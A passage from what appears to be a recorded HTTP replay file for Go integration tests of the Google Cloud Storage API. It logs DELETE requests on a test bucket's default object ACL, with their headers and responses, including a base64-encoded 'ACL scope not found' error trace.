hY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuIn19" - } - }, - { - "ID": "99becaf4890b3c21", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:08 GMT" - ], - "Etag": [ - "CAY=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpWMu40YNkuE3QcNByTmrKw_cnq4a8DVtcknBJ7gTnLdH1BC6CqoFOStPpa6y4PMmdpLpquozlOzvI4NWjgZYp1d9F_wBEyaq-wquTQAWGXNy3qktY" - ] - }, - "Body": "" - } - }, - { - "ID": "586ccc26d5a22712", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "11631" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:08 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:08 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpsRO9GedosQ-kg2lCQpx2S6C0-HH592CdB3SU9yGMwEEGKX9md7KGeSDhecrm_6Ug6tyYtEMlsMq08YBAKGprXfcN9130mRolu_HVey3CcrXK1nZ0" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vdCBGb3VuZCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0xfU0NPUEVfTk9UX0ZPVU5EOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1OT1RfRk9VTkQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9bm90Rm91bmQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLk5PVF9GT1VORCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDTF9TQ09QRV9OT1RfRk9VTkQ6IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6ODYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmRlbGV0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5zY29wZSwgbWVzc2FnZT1udWxsLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlX2lkLnNjb3BlLCBtZXNzYWdlPU5vdCBGb3VuZCwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm90IEZvdW5kOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphd